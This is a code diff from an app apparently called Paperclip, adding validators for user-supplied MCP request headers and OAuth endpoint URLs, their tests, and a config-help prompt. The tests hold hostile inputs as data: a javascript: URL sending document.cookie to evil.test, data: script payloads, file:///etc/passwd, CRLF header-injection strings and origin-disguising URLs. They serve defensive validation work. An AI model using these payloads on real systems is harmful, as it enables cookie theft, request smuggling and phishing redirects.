* contents, the company, an endpoint, or a secret: the operator pastes it into
|
||||
* whatever chat surface they like, so anything folded in here leaves Paperclip.
|
||||
* Keeping it a constant is also what makes "opening or copying help makes no
|
||||
* connection or import request" true by construction rather than by review.
|
||||
*
|
||||
* The instructions are ordered so the *first* thing in the reply is the JSON the
|
||||
* operator has to paste, because that is the only part Paperclip's config
|
||||
* preview parser reads. Everything else is prose for the human.
|
||||
*/
|
||||
export const MCP_CONFIG_HELP_PROMPT = `I want to connect an MCP (Model Context Protocol) server to Paperclip, and I need a paste-ready config.
|
||||
|
||||
Target server: <name the server, or ask me if I have not said>
|
||||
|
||||
Please:
|
||||
|
||||
1. Confirm which MCP server this is. If I have not named one, or you are unsure which product I mean, ask me for its name or a link to its documentation before answering. Then consult the current official documentation for that server (the vendor's own docs or the server's own repository), not your memory of it.
|
||||
|
||||
2. Reply with one valid, paste-ready JSON object FIRST, before any prose. It must have a single top-level "mcpServers" key containing exactly one remote server entry, using:
|
||||
- the exact HTTP(S) endpoint as "url", including any required query parameters
|
||||
- the exact required header names, spelled the way the server expects them
|
||||
Example of the shape (not the values):
|
||||
|
||||
{
|
||||
"mcpServers": {
|
||||
"example": {
|
||||
"url": "https://mcp.example.com/mcp",
|
||||
"headers": { "Authorization": "Bearer <YOUR_TOKEN>" }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
3. Use an obvious placeholder for every credential, like <YOUR_API_KEY>. Do not ask me to paste a real token into this conversation, do not repeat one back to me, and do not embed one in the JSON.
|
||||
|
||||
4. After the JSON, add short setup notes covering:
|
||||
- how I obtain each credential, step by step
|
||||
- which scopes or permissions the credential needs
|
||||
- which fields are optional and what they change
|
||||
- whether this server requires browser sign-in (OAuth) instead of headers, in which case say so plainly
|
||||
- the official documentation links you actually used
|
||||
|
||||
5. Do not invent fields, header names, or URLs. If you are not certain about something, say which part you are unsure about instead of guessing. If this server only runs locally as a command (stdio) and has no remote HTTP endpoint, say that the paste-a-config path does not apply, and give me the verified local command separately.`;
|
||||
|
||||
/**
|
||||
* What the operator needs to know about the hand-off, shown above the prompt.
|
||||
* Kept next to the prompt so the two cannot drift apart.
|
||||
*/
|
||||
export const MCP_CONFIG_HELP_INSTRUCTIONS = [
|
||||
"Copy this prompt and send it to an agent or assistant that can look up the server's documentation.",
|
||||
"Paste only the JSON block it replies with back into the box on this page.",
|
||||
"Paperclip reads the header names from that JSON and asks you for the values, then stores them as Paperclip secrets — so the config you paste should contain placeholders, not live credentials.",
|
||||
] as const;
|
||||
|
|
@ -0,0 +1,127 @@
|
|||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
checkMcpRemoteHeaderName,
|
||||
checkMcpRemoteHeaderValue,
|
||||
mcpRemoteHeaderNameFromConfigPath,
|
||||
mcpRemoteHeaderRejectionMessage,
|
||||
} from "./mcp-remote-headers.js";
|
||||
|
||||
describe("checkMcpRemoteHeaderName", () => {
|
||||
it("accepts the header names real MCP servers ask for", () => {
|
||||
for (const name of [
|
||||
"Authorization",
|
||||
"authorization",
|
||||
"X-PostHog-Project-Id",
|
||||
"x-api-key",
|
||||
"Mcp-Session-Id",
|
||||
"X_Custom.Token",
|
||||
]) {
|
||||
expect(checkMcpRemoteHeaderName(name), name).toEqual({ ok: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects hop-by-hop, framing, routing and ambient-credential headers", () => {
|
||||
for (const name of [
|
||||
"Host",
|
||||
"host",
|
||||
"Connection",
|
||||
"Content-Length",
|
||||
"Transfer-Encoding",
|
||||
"TE",
|
||||
"Trailer",
|
||||
"Upgrade",
|
||||
"Keep-Alive",
|
||||
"Cookie",
|
||||
"Set-Cookie",
|
||||
"Proxy-Authorization",
|
||||
"Via",
|
||||
"Expect",
|
||||
]) {
|
||||
expect(checkMcpRemoteHeaderName(name), name).toEqual({ ok: false, reason: "forbidden" });
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects reserved prefixes browsers and proxies own", () => {
|
||||
for (const name of ["Sec-Fetch-Mode", "sec-websocket-key", "Proxy-Foo", "HTTP2-Settings"]) {
|
||||
expect(checkMcpRemoteHeaderName(name), name).toEqual({ ok: false, reason: "forbidden" });
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects names that could smuggle a separator or a new header line", () => {
|
||||
for (const name of [
|
||||
"X-Bad\r\nX-Injected",
|
||||
"X-Bad\nX-Injected",
|
||||
"X Bad",
|
||||
"X-Bad:",
|
||||
"X-Bad;Other",
|
||||
"X-Bad,Other",
|
||||
'X-"Bad"',
|
||||
"X-Bad/Other",
|
||||
"X-Bad(Other)",
|
||||
"X-Bad@Other",
|
||||
"X-Bad\u0000",
|
||||
]) {
|
||||
expect(checkMcpRemoteHeaderName(name), JSON.stringify(name)).toEqual({
|
||||
ok: false,
|
||||
reason: "invalid_characters",
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects blank and over-long names", () => {
|
||||
expect(checkMcpRemoteHeaderName("")).toEqual({ ok: false, reason: "empty" });
|
||||
expect(checkMcpRemoteHeaderName(" ")).toEqual({ ok: false, reason: "empty" });
|
||||
expect(checkMcpRemoteHeaderName("x".repeat(129))).toEqual({ ok: false, reason: "too_long" });
|
||||
expect(checkMcpRemoteHeaderName("x".repeat(128))).toEqual({ ok: true });
|
||||
});
|
||||
});
|
||||
|
||||
describe("checkMcpRemoteHeaderValue", () => {
|
||||
it("accepts ordinary credential values", () => {
|
||||
for (const value of ["Bearer phx_abc123", "phx_abc123", "12345", "a b c", ""]) {
|
||||
expect(checkMcpRemoteHeaderValue(value), JSON.stringify(value)).toEqual({ ok: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects values that would split the request", () => {
|
||||
for (const value of [
|
||||
"abc\r\nX-Injected: 1",
|
||||
"abc\nX-Injected: 1",
|
||||
"abc\rdef",
|
||||
"abc\u0000def",
|
||||
"abc\tdef",
|
||||
"abc\u007fdef",
|
||||
]) {
|
||||
expect(checkMcpRemoteHeaderValue(value), JSON.stringify(value)).toEqual({
|
||||
ok: false,
|
||||
reason: "value_control_characters",
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects over-long values", () => {
|
||||
expect(checkMcpRemoteHeaderValue("x".repeat(8_193))).toEqual({ ok: false, reason: "value_too_long" });
|
||||
expect(checkMcpRemoteHeaderValue("x".repeat(8_192))).toEqual({ ok: true });
|
||||
});
|
||||
});
|
||||
|
||||
describe("mcpRemoteHeaderNameFromConfigPath", () => {
|
||||
it("extracts a header name from a headers.* config path", () => {
|
||||
expect(mcpRemoteHeaderNameFromConfigPath("headers.X-Api-Key")).toBe("X-Api-Key");
|
||||
expect(mcpRemoteHeaderNameFromConfigPath("headers. X-Api-Key ")).toBe("X-Api-Key");
|
||||
});
|
||||
|
||||
it("returns null for non-header and empty paths", () => {
|
||||
expect(mcpRemoteHeaderNameFromConfigPath("credentials.authorization")).toBeNull();
|
||||
expect(mcpRemoteHeaderNameFromConfigPath("headers.")).toBeNull();
|
||||
expect(mcpRemoteHeaderNameFromConfigPath("headers. ")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("mcpRemoteHeaderRejectionMessage", () => {
|
||||
it("explains the problem without echoing the value", () => {
|
||||
expect(mcpRemoteHeaderRejectionMessage("Host", "forbidden")).toContain("Host");
|
||||
expect(mcpRemoteHeaderRejectionMessage("X-Api-Key", "value_control_characters"))
|
||||
.toBe('The value for "X-Api-Key" contains line breaks or control characters.');
|
||||
});
|
||||
});
|
||||
|
|
@ -0,0 +1,148 @@
|
|||
/**
|
||||
* Header-name/value safety for user-supplied remote MCP credentials (PAP-17087).
|
||||
*
|
||||
* Both the guided "Connect your own MCP server" flow and the paste-config escape
|
||||
* hatch let an operator name arbitrary request headers for an arbitrary endpoint.
|
||||
* Those names reach a real outbound `fetch`, so they are validated here — once,
|
||||
* in shared code — instead of at each call site:
|
||||
*
|
||||
* - only RFC 9110 `token` characters, so a name can never smuggle a separator,
|
||||
* whitespace, or CR/LF into the request line;
|
||||
* - never a hop-by-hop, framing, routing, or ambient-credential header, because
|
||||
* those either belong to the transport or would let a pasted config redirect
|
||||
* the request or attach a browser cookie;
|
||||
* - values must stay printable single-line, which blocks header/response
|
||||
* splitting through a value that carries `\r\n`.
|
||||
*
|
||||
* `Authorization` is deliberately allowed: it is the header the bearer-key path
|
||||
* uses, and its value is stored as a Paperclip secret like every other one.
|
||||
*/
|
||||
|
||||
/** RFC 9110 field-name = token. */
|
||||
const HTTP_TOKEN_PATTERN = /^[!#$%&'*+\-.^_`|~0-9A-Za-z]+$/;
|
||||
|
||||
const MAX_HEADER_NAME_LENGTH = 128;
|
||||
const MAX_HEADER_VALUE_LENGTH = 8_192;
|
||||
|
||||
/**
|
||||
* Headers Paperclip refuses to project from a user-supplied config.
|
||||
*
|
||||
* `connection`/`keep-alive`/`te`/`trailer`/`transfer-encoding`/`upgrade` are
|
||||
* hop-by-hop (RFC 9110 §7.6.1) and belong to the fetch implementation.
|
||||
* `content-length`/`host` frame and route the request. `cookie` would attach
|
||||
* ambient browser-style credentials that Paperclip cannot scope or rotate.
|
||||
* `proxy-*` targets an intermediary rather than the MCP server.
|
||||
*/
|
||||
const FORBIDDEN_HEADER_NAMES = new Set([
|
||||
"connection",
|
||||
"content-length",
|
||||
"cookie",
|
||||
"cookie2",
|
||||
"expect",
|
||||
"host",
|
||||
"keep-alive",
|
||||
"proxy-authenticate",
|
||||
"proxy-authorization",
|
||||
"proxy-connection",
|
||||
"set-cookie",
|
||||
"set-cookie2",
|
||||
"te",
|
||||
"trailer",
|
||||
"transfer-encoding",
|
||||
"upgrade",
|
||||
"via",
|
||||
]);
|
||||
|
||||
/** Prefixes reserved for the transport or for intermediaries. */
|
||||
const FORBIDDEN_HEADER_PREFIXES = ["proxy-", "sec-", "http2-"];
|
||||
|
||||
export type McpRemoteHeaderRejection =
|
||||
| "empty"
|
||||
| "too_long"
|
||||
| "invalid_characters"
|
||||
| "forbidden"
|
||||
| "value_too_long"
|
||||
| "value_control_characters";
|
||||
|
||||
export interface McpRemoteHeaderCheck {
|
||||
ok: boolean;
|
||||
reason?: McpRemoteHeaderRejection;
|
||||
}
|
||||
|
||||
const OK: McpRemoteHeaderCheck = { ok: true };
|
||||
|
||||
/**
|
||||
* Is `name` a header Paperclip is willing to send on a user-configured remote
|
||||
* MCP request? Returns the specific rejection reason so callers can produce an
|
||||
* actionable, UI-safe message.
|
||||
*/
|
||||
export function checkMcpRemoteHeaderName(name: string): McpRemoteHeaderCheck {
|
||||
const trimmed = name.trim();
|
||||
if (!trimmed) return { ok: false, reason: "empty" };
|
||||
if (trimmed.length > MAX_HEADER_NAME_LENGTH) return { ok: false, reason: "too_long" };
|
||||
if (!HTTP_TOKEN_PATTERN.test(trimmed)) return { ok: false, reason: "invalid_characters" };
|
||||
const lower = trimmed.toLowerCase();
|
||||
if (FORBIDDEN_HEADER_NAMES.has(lower)) return { ok: false, reason: "forbidden" };
|
||||
if (FORBIDDEN_HEADER_PREFIXES.some((prefix) => lower.startsWith(prefix))) {
|
||||
return { ok: false, reason: "forbidden" };
|
||||
}
|
||||
return OK;
|
||||
}
|
||||
|
||||
/**
|
||||
* Is `value` safe to send as a header value? Rejects CR/LF and other control
|
||||
* characters (header splitting) and absurdly long values.
|
||||
*/
|
||||
export function checkMcpRemoteHeaderValue(value: string): McpRemoteHeaderCheck {
|
||||
if (value.length > MAX_HEADER_VALUE_LENGTH) return { ok: false, reason: "value_too_long" };
|
||||
// Reject C0/C1 controls and DEL. A tab is legal in a field value per RFC 9110
|
||||
// but has no legitimate use in a credential, so it is rejected too.
|
||||
if (/[\u0000-\u001f\u007f-\u009f]/.test(value)) {
|
||||
return { ok: false, reason: "value_control_characters" };
|
||||
}
|
||||
return OK;
|
||||
}
|
||||
|
||||
export function isSafeMcpRemoteHeaderName(name: string): boolean {
|
||||
return checkMcpRemoteHeaderName(name).ok;
|
||||
}
|
||||
|
||||
export function isSafeMcpRemoteHeaderValue(value: string): boolean {
|
||||
return checkMcpRemoteHeaderValue(value).ok;
|
||||
}
|
||||
|
||||
/** A UI-safe explanation for a rejected header. Never echoes the value. */
|
||||
export function mcpRemoteHeaderRejectionMessage(
|
||||
headerName: string,
|
||||
reason: McpRemoteHeaderRejection,
|
||||
): string {
|
||||
switch (reason) {
|
||||
case "empty":
|
||||
return "Header names cannot be blank.";
|
||||
case "too_long":
|
||||
return `Header name "${headerName.slice(0, MAX_HEADER_NAME_LENGTH)}" is too long.`;
|
||||
case "invalid_characters":
|
||||
return `"${headerName.slice(0, MAX_HEADER_NAME_LENGTH)}" is not a valid header name. Use letters, digits, and dashes.`;
|
||||
case "forbidden":
|
||||
return `Paperclip manages the "${headerName}" header and cannot send a custom value for it.`;
|
||||
case "value_too_long":
|
||||
return `The value for "${headerName}" is too long.`;
|
||||
case "value_control_characters":
|
||||
return `The value for "${headerName}" contains line breaks or control characters.`;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* `credentialValues` keys use a `headers.<Name>` config path. Extract the header
|
||||
* name, or `null` when the path is not a header path.
|
||||
*/
|
||||
export function mcpRemoteHeaderNameFromConfigPath(configPath: string): string | null {
|
||||
if (!configPath.startsWith("headers.")) return null;
|
||||
const name = configPath.slice("headers.".length).trim();
|
||||
return name.length > 0 ? name : null;
|
||||
}
|
||||
|
||||
export const MCP_REMOTE_HEADER_LIMITS = {
|
||||
maxNameLength: MAX_HEADER_NAME_LENGTH,
|
||||
maxValueLength: MAX_HEADER_VALUE_LENGTH,
|
||||
} as const;
|
||||
|
|
@ -0,0 +1,182 @@
|
|||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
checkOAuthEndpointUrl,
|
||||
isSafeOAuthEndpointUrl,
|
||||
oauthEndpointDisplayHost,
|
||||
oauthEndpointUrlRejectionMessage,
|
||||
} from "./oauth-endpoint-url.js";
|
||||
|
||||
describe("checkOAuthEndpointUrl", () => {
|
||||
it("accepts an https endpoint and returns its normalized url and host", () => {
|
||||
const check = checkOAuthEndpointUrl("https://auth.example.test/oauth/authorize?prompt=consent");
|
||||
expect(check).toEqual({
|
||||
ok: true,
|
||||
url: "https://auth.example.test/oauth/authorize?prompt=consent",
|
||||
host: "auth.example.test",
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps a non-default port in the displayed host", () => {
|
||||
const check = checkOAuthEndpointUrl("https://auth.example.test:8443/authorize");
|
||||
expect(check.ok && check.host).toBe("auth.example.test:8443");
|
||||
});
|
||||
|
||||
// The values a hostile MCP server would advertise to get code running in the
|
||||
// board's origin or to read a local file.
|
||||
it.each([
|
||||
["javascript:alert(document.cookie)", "unsupported_scheme"],
|
||||
["javascript:fetch('https://evil.test/'+document.cookie)", "unsupported_scheme"],
|
||||
["data:text/html,<script>alert(1)</script>", "unsupported_scheme"],
|
||||
["file:///etc/passwd", "unsupported_scheme"],
|
||||
["vbscript:msgbox(1)", "unsupported_scheme"],
|
||||
["about:blank", "unsupported_scheme"],
|
||||
["blob:https://auth.example.test/1234", "unsupported_scheme"],
|
||||
["chrome://settings", "unsupported_scheme"],
|
||||
])("rejects %s", (value, reason) => {
|
||||
expect(checkOAuthEndpointUrl(value)).toEqual({ ok: false, reason });
|
||||
expect(isSafeOAuthEndpointUrl(value)).toBe(false);
|
||||
});
|
||||
|
||||
it("rejects a scheme that only differs by case or padding", () => {
|
||||
expect(checkOAuthEndpointUrl(" JavaScript:alert(1) ").ok).toBe(false);
|
||||
expect(checkOAuthEndpointUrl("JAVASCRIPT:alert(1)")).toEqual({ ok: false, reason: "unsupported_scheme" });
|
||||
});
|
||||
|
||||
it("rejects plaintext http by default, loopback included", () => {
|
||||
expect(checkOAuthEndpointUrl("http://auth.example.test/authorize")).toEqual({
|
||||
ok: false,
|
||||
reason: "insecure_transport",
|
||||
});
|
||||
expect(checkOAuthEndpointUrl("http://127.0.0.1:9000/authorize")).toEqual({
|
||||
ok: false,
|
||||
reason: "insecure_transport",
|
||||
});
|
||||
});
|
||||
|
||||
it("allows loopback http only under the local-development policy", () => {
|
||||
const options = { allowInsecureLoopback: true };
|
||||
for (const value of [
|
||||
"http://localhost:3100/authorize",
|
||||
"http://app.localhost:3100/authorize",
|
||||
"http://127.0.0.1:3100/authorize",
|
||||
"http://127.9.9.9:3100/authorize",
|
||||
"http://[::1]:3100/authorize",
|
||||
]) {
|
||||
expect(checkOAuthEndpointUrl(value, options).ok, value).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("still rejects non-loopback http under the local-development policy", () => {
|
||||
for (const value of [
|
||||
"http://auth.example.test/authorize",
|
||||
"http://10.0.0.5/authorize",
|
||||
// Hosts that only *look* loopback.
|
||||
"http://127.0.0.1.evil.test/authorize",
|
||||
"http://localhost.evil.test/authorize",
|
||||
"http://notlocalhost/authorize",
|
||||
]) {
|
||||
expect(checkOAuthEndpointUrl(value, { allowInsecureLoopback: true }), value).toEqual({
|
||||
ok: false,
|
||||
reason: "insecure_transport",
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
it("allows plaintext http for Paperclip's own origin only", () => {
|
||||
const options = { allowInsecureOrigins: ["http://paperclip.test"] };
|
||||
expect(checkOAuthEndpointUrl("http://paperclip.test/api/smoke-lab/oauth/authorize", options).ok).toBe(true);
|
||||
// Port and scheme are part of the origin, so a neighbour is not exempt.
|
||||
expect(checkOAuthEndpointUrl("http://paperclip.test:8080/authorize", options)).toEqual({
|
||||
ok: false,
|
||||
reason: "insecure_transport",
|
||||
});
|
||||
expect(checkOAuthEndpointUrl("http://evil.test/authorize", options)).toEqual({
|
||||
ok: false,
|
||||
reason: "insecure_transport",
|
||||
});
|
||||
// The exemption is about transport only: an unsafe scheme is still unsafe.
|
||||
expect(checkOAuthEndpointUrl("javascript:alert(1)", options)).toEqual({
|
||||
ok: false,
|
||||
reason: "unsupported_scheme",
|
||||
});
|
||||
// A garbage entry in the exemption list cannot open anything up.
|
||||
expect(checkOAuthEndpointUrl("http://paperclip.test/authorize", { allowInsecureOrigins: ["nonsense"] })).toEqual({
|
||||
ok: false,
|
||||
reason: "insecure_transport",
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects embedded credentials that disguise the real origin", () => {
|
||||
expect(checkOAuthEndpointUrl("https://accounts.google.com@evil.test/authorize")).toEqual({
|
||||
ok: false,
|
||||
reason: "embedded_credentials",
|
||||
});
|
||||
expect(checkOAuthEndpointUrl("https://user:pw@auth.example.test/authorize")).toEqual({
|
||||
ok: false,
|
||||
reason: "embedded_credentials",
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects a fragment", () => {
|
||||
expect(checkOAuthEndpointUrl("https://auth.example.test/authorize#/../../evil")).toEqual({
|
||||
ok: false,
|
||||
reason: "fragment",
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects malformed and empty values", () => {
|
||||
expect(checkOAuthEndpointUrl("/authorize")).toEqual({ ok: false, reason: "malformed" });
|
||||
expect(checkOAuthEndpointUrl("not a url")).toEqual({ ok: false, reason: "malformed" });
|
||||
expect(checkOAuthEndpointUrl("https://")).toEqual({ ok: false, reason: "malformed" });
|
||||
// A special scheme with no authority is re-parsed by WHATWG as a hostname,
|
||||
// so it lands on the transport rule rather than being treated as relative.
|
||||
expect(checkOAuthEndpointUrl("http:relative", { allowInsecureLoopback: true })).toEqual({
|
||||
ok: false,
|
||||
reason: "insecure_transport",
|
||||
});
|
||||
expect(checkOAuthEndpointUrl("")).toEqual({ ok: false, reason: "missing" });
|
||||
expect(checkOAuthEndpointUrl(" ")).toEqual({ ok: false, reason: "missing" });
|
||||
expect(checkOAuthEndpointUrl(null)).toEqual({ ok: false, reason: "missing" });
|
||||
expect(checkOAuthEndpointUrl({ href: "https://auth.example.test" })).toEqual({
|
||||
ok: false,
|
||||
reason: "missing",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("oauthEndpointUrlRejectionMessage", () => {
|
||||
it("names the endpoint without echoing the untrusted value", () => {
|
||||
const message = oauthEndpointUrlRejectionMessage("authorization", "unsupported_scheme");
|
||||
expect(message).toContain("sign-in");
|
||||
expect(message).toContain("https");
|
||||
expect(message).not.toContain("javascript");
|
||||
});
|
||||
|
||||
it("covers every rejection reason for every endpoint kind", () => {
|
||||
for (const kind of ["authorization", "token", "registration", "metadata"] as const) {
|
||||
for (const reason of [
|
||||
"missing",
|
||||
"malformed",
|
||||
"unsupported_scheme",
|
||||
"insecure_transport",
|
||||
"embedded_credentials",
|
||||
"fragment",
|
||||
] as const) {
|
||||
expect(oauthEndpointUrlRejectionMessage(kind, reason).length, `${kind}/${reason}`).toBeGreaterThan(0);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("oauthEndpointDisplayHost", () => {
|
||||
it("returns the host for display", () => {
|
||||
expect(oauthEndpointDisplayHost("https://auth.example.test/authorize?x=1")).toBe("auth.example.test");
|
||||
expect(oauthEndpointDisplayHost("https://auth.example.test:8443/authorize")).toBe("auth.example.test:8443");
|
||||
});
|
||||
|
||||
it("returns null for a value with no host", () => {
|
||||
expect(oauthEndpointDisplayHost("javascript:alert(1)")).toBeNull();
|
||||
expect(oauthEndpointDisplayHost("nonsense")).toBeNull();
|
||||
expect(oauthEndpointDisplayHost(null)).toBeNull();
|
||||
});
|
||||
});
|
||||
|
|
@ -0,0 +1,173 @@
|
|||
/**
|
||||
* Scheme/transport safety for OAuth endpoints Paperclip learned from a remote
|
||||
* server (PAP-17099).
|
||||
*
|
||||
* A generic remote MCP connection can point at any endpoint, and that endpoint
|
||||
* gets to advertise its own authorization-server metadata. The
|
||||
* `authorization_endpoint` it names is not just fetched server-side — Paperclip
|
||||
* hands it to the operator's browser as a top-level navigation, so an arbitrary
|
||||
* string there is a code-execution and open-redirect primitive:
|
||||
* `javascript:` / `data:` would run in the board's origin, and plain `http:`
|
||||
* would carry the authorization request (and the operator) over a network any
|
||||
* intermediary can rewrite.
|
||||
*
|
||||
* So every endpoint URL discovered from metadata, pasted by an operator, taken
|
||||
* from a `WWW-Authenticate` hint, or shipped as a gallery default is parsed
|
||||
* here — once, in shared code — and must be:
|
||||
*
|
||||
* - a well-formed absolute URL (anything `new URL` rejects is rejected);
|
||||
* - `https:`, or `http:` only for a loopback host under the caller's explicit
|
||||
* local-development policy (the server passes its private-network policy, the
|
||||
* board passes "am I myself served over plaintext HTTP");
|
||||
* - free of embedded credentials, because `https://evil.test@real.test/...`
|
||||
* reads as the wrong origin to a human and Paperclip must not help;
|
||||
* - free of a fragment, which never survives an authorization request usefully
|
||||
* and is a classic way to hide the effective target from a reader.
|
||||
*
|
||||
* Both the server and the board import this so a value that passes the API
|
||||
* boundary cannot fail the navigation boundary, or vice versa.
|
||||
*/
|
||||
|
||||
export type OAuthEndpointKind = "authorization" | "token" | "registration" | "metadata";
|
||||
|
||||
export type OAuthEndpointUrlRejection =
|
||||
| "missing"
|
||||
| "malformed"
|
||||
| "unsupported_scheme"
|
||||
| "insecure_transport"
|
||||
| "embedded_credentials"
|
||||
| "fragment";
|
||||
|
||||
export interface OAuthEndpointUrlOptions {
|
||||
/**
|
||||
* Allow `http:` for loopback hosts. Only true under an explicit
|
||||
* local-development policy — never for a public deployment.
|
||||
*/
|
||||
allowInsecureLoopback?: boolean;
|
||||
/**
|
||||
* Origins whose `http:` is already the operator's own trust boundary —
|
||||
* in practice just Paperclip's own deployment origin. A deployment served over
|
||||
* plaintext HTTP on a LAN address can still run its own authorization
|
||||
* endpoints (the smoke-lab fixture does), and opening Paperclip from Paperclip
|
||||
* adds no exposure the board does not already have.
|
||||
*/
|
||||
allowInsecureOrigins?: string[];
|
||||
}
|
||||
|
||||
export type OAuthEndpointUrlCheck =
|
||||
| { ok: true; url: string; host: string }
|
||||
| { ok: false; reason: OAuthEndpointUrlRejection };
|
||||
|
||||
/** `127.0.0.0/8` — the whole loopback range, not just `127.0.0.1`. */
|
||||
function isLoopbackIpv4(hostname: string): boolean {
|
||||
const parts = hostname.split(".");
|
||||
if (parts.length !== 4) return false;
|
||||
if (!parts.every((part) => /^\d{1,3}$/.test(part) && Number(part) <= 255)) return false;
|
||||
return parts[0] === "127";
|
||||
}
|
||||
|
||||
function isLoopbackHost(hostname: string): boolean {
|
||||
const host = hostname.replace(/^\[|\]$/g, "").toLowerCase();
|
||||
if (host === "localhost" || host.endsWith(".localhost")) return true;
|
||||
if (host === "::1") return true;
|
||||
const mapped = host.match(/^::ffff:(\d{1,3}(?:\.\d{1,3}){3})$/);
|
||||
if (mapped?.[1]) return isLoopbackIpv4(mapped[1]);
|
||||
return isLoopbackIpv4(host);
|
||||
}
|
||||
|
||||
function normalizedOrigin(value: string): string | null {
|
||||
try {
|
||||
const origin = new URL(value).origin;
|
||||
return origin === "null" ? null : origin;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function insecureTransportAllowed(parsed: URL, options: OAuthEndpointUrlOptions): boolean {
|
||||
if (options.allowInsecureLoopback && isLoopbackHost(parsed.hostname)) return true;
|
||||
return (options.allowInsecureOrigins ?? []).some((origin) => normalizedOrigin(origin) === parsed.origin);
|
||||
}
|
||||
|
||||
/**
|
||||
* Is `value` an OAuth endpoint Paperclip is willing to use — and, for the
|
||||
* authorization endpoint, to navigate a browser to? Returns the normalized URL
|
||||
* and its host on success, or the specific rejection reason so callers can
|
||||
* produce an actionable message.
|
||||
*/
|
||||
export function checkOAuthEndpointUrl(
|
||||
value: unknown,
|
||||
options: OAuthEndpointUrlOptions = {},
|
||||
): OAuthEndpointUrlCheck {
|
||||
if (typeof value !== "string" || value.trim().length === 0) {
|
||||
return { ok: false, reason: "missing" };
|
||||
}
|
||||
let parsed: URL;
|
||||
try {
|
||||
parsed = new URL(value.trim());
|
||||
} catch {
|
||||
return { ok: false, reason: "malformed" };
|
||||
}
|
||||
if (parsed.protocol !== "https:" && parsed.protocol !== "http:") {
|
||||
return { ok: false, reason: "unsupported_scheme" };
|
||||
}
|
||||
// A `javascript:`/`data:` URL has no host, and neither does something like
|
||||
// `http:relative` — without an authority there is no origin to trust.
|
||||
if (!parsed.hostname) return { ok: false, reason: "malformed" };
|
||||
if (parsed.protocol === "http:" && !insecureTransportAllowed(parsed, options)) {
|
||||
return { ok: false, reason: "insecure_transport" };
|
||||
}
|
||||
if (parsed.username || parsed.password) return { ok: false, reason: "embedded_credentials" };
|
||||
if (parsed.hash) return { ok: false, reason: "fragment" };
|
||||
return { ok: true, url: parsed.toString(), host: parsed.host };
|
||||
}
|
||||
|
||||
export function isSafeOAuthEndpointUrl(value: unknown, options: OAuthEndpointUrlOptions = {}): boolean {
|
||||
return checkOAuthEndpointUrl(value, options).ok;
|
||||
}
|
||||
|
||||
const KIND_LABELS: Record<OAuthEndpointKind, string> = {
|
||||
authorization: "sign-in",
|
||||
token: "token",
|
||||
registration: "client registration",
|
||||
metadata: "metadata",
|
||||
};
|
||||
|
||||
/**
|
||||
* A UI-safe explanation for a rejected endpoint. Never echoes the URL, because
|
||||
* the string came from the remote server and may itself be the attack.
|
||||
*/
|
||||
export function oauthEndpointUrlRejectionMessage(
|
||||
kind: OAuthEndpointKind,
|
||||
reason: OAuthEndpointUrlRejection,
|
||||
): string {
|
||||
const label = KIND_LABELS[kind];
|
||||
switch (reason) {
|
||||
case "missing":
|
||||
return `This server did not provide a ${label} address.`;
|
||||
case "malformed":
|
||||
return `This server's ${label} address is not a valid URL, so Paperclip stopped.`;
|
||||
case "unsupported_scheme":
|
||||
return `This server's ${label} address does not use https, so Paperclip stopped.`;
|
||||
case "insecure_transport":
|
||||
return `This server's ${label} address is not secure (https), so Paperclip stopped.`;
|
||||
case "embedded_credentials":
|
||||
return `This server's ${label} address hides a different site behind a username, so Paperclip stopped.`;
|
||||
case "fragment":
|
||||
return `This server's ${label} address is malformed for sign-in, so Paperclip stopped.`;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The host to show an operator before they are sent to an authorization page.
|
||||
* `null` when the value is not a usable URL — callers should be refusing to
|
||||
* navigate at that point anyway.
|
||||
*/
|
||||
export function oauthEndpointDisplayHost(value: unknown): string | null {
|
||||
if (typeof value !== "string" || !value.trim()) return null;
|
||||
try {
|
||||
return new URL(value.trim()).host || null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
|
@ -1,6 +1,6 @@
|
|||
import type { ToolConnectionOwnership, ToolConnectionTransport } from "./tool-access.js";
|
||||
export type AppCategory = "ai"|"analytics"|"commerce"|"communication"|"content"|"data"|"developer"|"productivity"|"other";
|
||||
export type OAuthRedirectConstraints = "https-or-loopback-http";
|
||||
export interface FieldDef { key:string; label:string; type:"text"|"password"|"textarea"|"datetime"|"select"|"checkbox"; required?:boolean; placeholder?:string; helperMd?:string; secret?:boolean; prefix?:string; validation?:{pattern?:string;maxLength?:number}; options?:Array<{value:string;label:string}> }
|
||||
export interface ConnectionMethodDef { key:string; transport:ToolConnectionTransport; auth:"oauth"|"api_key"|"none"; ownershipModes:ToolConnectionOwnership[]; whenToUse:string; defaults?:{serverUrl?:string;discoveryUrl?:string|null;serviceHost?:string;templateKey?:string;authorizationEndpoint?:string;tokenEndpoint?:string;metadataUrl?:string;scopesHint?:string[]}; tenantFields?:FieldDef[]; extensionFields?:FieldDef[]; credentialFields?:FieldDef[]; keyPlacement?:{location:"header"|"query"|"body_json"|"env";name:string;prefix?:string|null}; guidanceMd:string; consoleLinks?:{register?:string;keys?:string;settings?:string;docs?:string}; warnings?:string[]; variants?:Array<{key:string;label:string;whenToUse:string;tenantFields?:FieldDef[]}>; riskTier:"S1"|"S2"|"S3"|"S4"; requiredResourceFilters?:string[] }
|
||||
